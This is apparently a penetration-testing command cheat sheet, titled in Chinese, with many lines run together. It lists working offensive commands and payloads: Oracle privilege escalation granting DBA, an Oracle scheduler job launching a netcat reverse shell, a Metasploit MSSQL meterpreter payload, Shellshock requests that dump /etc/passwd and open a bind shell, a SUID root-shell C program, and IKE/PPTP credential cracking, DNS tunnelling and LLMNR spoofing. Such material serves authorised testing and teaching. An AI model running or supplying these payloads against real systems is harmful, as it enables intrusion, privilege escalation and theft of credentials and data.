渗透测试时常用的命令速查

ifconfig eth0 xxx.xxx.xxx.xxx/24

ipcalc xxx.xxx.xxx.xxx/24 ipcalc xxx.xxx.xxx.xxx 255.255.255.0

whois domain-name-here.com

dig a domain-name-here.com @nameserver

dig mx domain-name-here.com @nameserver

dig axfr domain-name-here.com @nameserver

git clone https://github.com/killswitch-GUI/SimplyEmail.git./SimplyEmail.py -all -e TARGET-DOMAIN

nc TARGET-IP 80GET / HTTP/1.1Host: TARGET-IPUser-Agent: Mozilla/5.0Referrer: meh-domain<enter>

nmap -sU TARGET

git clone https://github.com/portcullislabs/udp-proto-scanner.git

./udp-protocol-scanner.pl -f ip.txt

udp-proto-scanner.pl -p ntp -f ips.txt

nmblookup -A targetsmbclient //MOUNT/share -I target -Nrpcclient -U "" targetenum4linux target

smbclient -L //192.168.1.100

nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

use auxiliary/scanner/smb/smb_lookupsid

Windows:net use \TARGETIPC$ "" /u:""
Linux:smbclient -L //192.168.99.131

apt-get install nbtscan-unixwiz nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

auxiliary/spoof/llmnr/llmnr_responseauxiliary/spoof/nbns/nbns_response

auxiliary/server/capture/smbauxiliary/server/capture/http_ntlm

git clone https://github.com/SpiderLabs/Responder.gitpython Responder.py -i local-ip -I eth0

apt-get install snmp-mibs-downloader download-mibsecho "" > /etc/snmp/snmp.conf

nmap -sV -p 161 --script=snmp-info TARGET-SUBNET

apt-get install snmp snmp-mibs-downloaderwget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

rsh <target> <command>

auxiliary/scanner/rservices/rsh_login

rusers -al 192.168.2.1

rlogin -l <user> <target>e.g rlogin -l root TARGET-SUBNET/24

finger @TARGET-IPfinger batman@TARGET-IP

finger 0@host
SunOS: RPC services allow user enum:$ rusers # users logged onto LAN
finger 'a b c d e f g h'@sunhostrwho

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html

apt-get updateapt-get dist-upgrade -yapt-get install openvasopenvas-setup

netstat -tulpn

apt-get install oscanner

oscanner -s 192.168.1.200 -P 1521

apt-get install tnscmd10g

tnscmd10g version -h TARGETnmap --script=oracle-tns-version

nmap --script=oracle-sid-brutenmap --script=oracle-brute

nmap -p 1521 -A TARGET

nmap --script=oracle-sid-brutenmap --script=oracle-brute

SQL> select * from session_privs;
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authidcurren_user ispragma autonomous_transaction;beginexecute immediate 'grant dba to user1 identified by pass1';commit;return 'FOO';end;

SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));

SQL> Select * from session_privs;

drop index exploit_1337;

begindbms_scheduler.create_job( job_name    => 'MEH1337',job_type    =>    'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>    SYSTIMESTAMP,enabled    => FALSE,auto_drop => TRUE);dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');dbms_scheduler.enable('rev_shell');end;

nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156

msf > use auxiliary/scanner/mssql/mssql_ping

msf > use auxiliary/admin/mssql/mssql_enum

msf > use exploit/windows/mssql/mssql_payloadmsf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp

plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip需在/etc/proxychains.conf 添加sock4  127.0.0.1 1010

ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

git clone https://github.com/nccgroup/vlan-hopping.gitchmod 700 frogger.sh./frogger.sh

./udp-protocol-scanner.pl -p ike TARGET(s)

./udp-protocol-scanner.pl -p ike -f ip.txt

pip install pyipgit clone https://github.com/SpiderLabs/ikeforce.git

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1ike-scanike-scan TARGET-IPike-scan -A TARGET-IPike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

./udp-protocol-scanner.pl -p ike SUBNET/24

./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP

psk-crack hash-file.txt

pskcrackpsk-crack -b 5 TARGET-IPkeypsk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134keypsk-crack -d /path/to/dictionary-file TARGET-IP-key

nmap –Pn -sV -p 1723 TARGET(S)

thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

apt-get updateapt-get -y install ruby-dev git make g++gem install bundlergit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/serverbundle install

ruby ./dnscat2.rbdnscat2> New session established: 1422dnscat2> session -i 1422

https://downloads.skullsecurity.org/dnscat2/
https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server_ip>BOF / Exploit

searchsploit –u searchsploit apache 2.2 searchsploit "Linux Kernel" searchsploit linux 2.6 | grep -i ubuntu | grep local

wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/downloadwine mingw-get-setup.exeselect mingw32-basecd /root/.wine/drive_c/windowswget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zipcd /root/.wine/drive_c/MinGW/binwine gcc -o ability.exe /tmp/exploit.c -lwsock32wine ability.exe

gcc -m32 -o output32 hello.c (32 bit)gcc -m64 -o output hello.c (64 bit)

git clone https://github.com/nccgroup/shocker./shocker.py -H TARGET  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbosecat file (查看文件内容)echo -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; echo $(</etc/passwd)rnHost: vulnerablernConnection: closernrn" | nc TARGET 80Shell Shock 运行bind shellecho -e "HEAD /cgi-bin/status HTTP/1.1rnUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/shrnHost: vulnerablernConnection: closernrn" | nc TARGET 80Shell Shock 反弹shellnc -l -p 443

int main(void){       setresuid(0, 0, 0);       system("/bin/bash");}运行 /bin/sh的SUID C Shellint main(void){       setresuid(0, 0, 0);       system("/bin/sh");}

gcc -o suid suid.c32位
gcc -m32 -o suid suid.c

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

python -c 'import pty;pty.spawn("/bin/bash")'echo os.system('/bin/bash')

/bin/sh -i

exec "/bin/sh";perl —e 'exec "/bin/sh";'

exec "/bin/sh"

os.execute('/bin/sh')

:!bash

!sh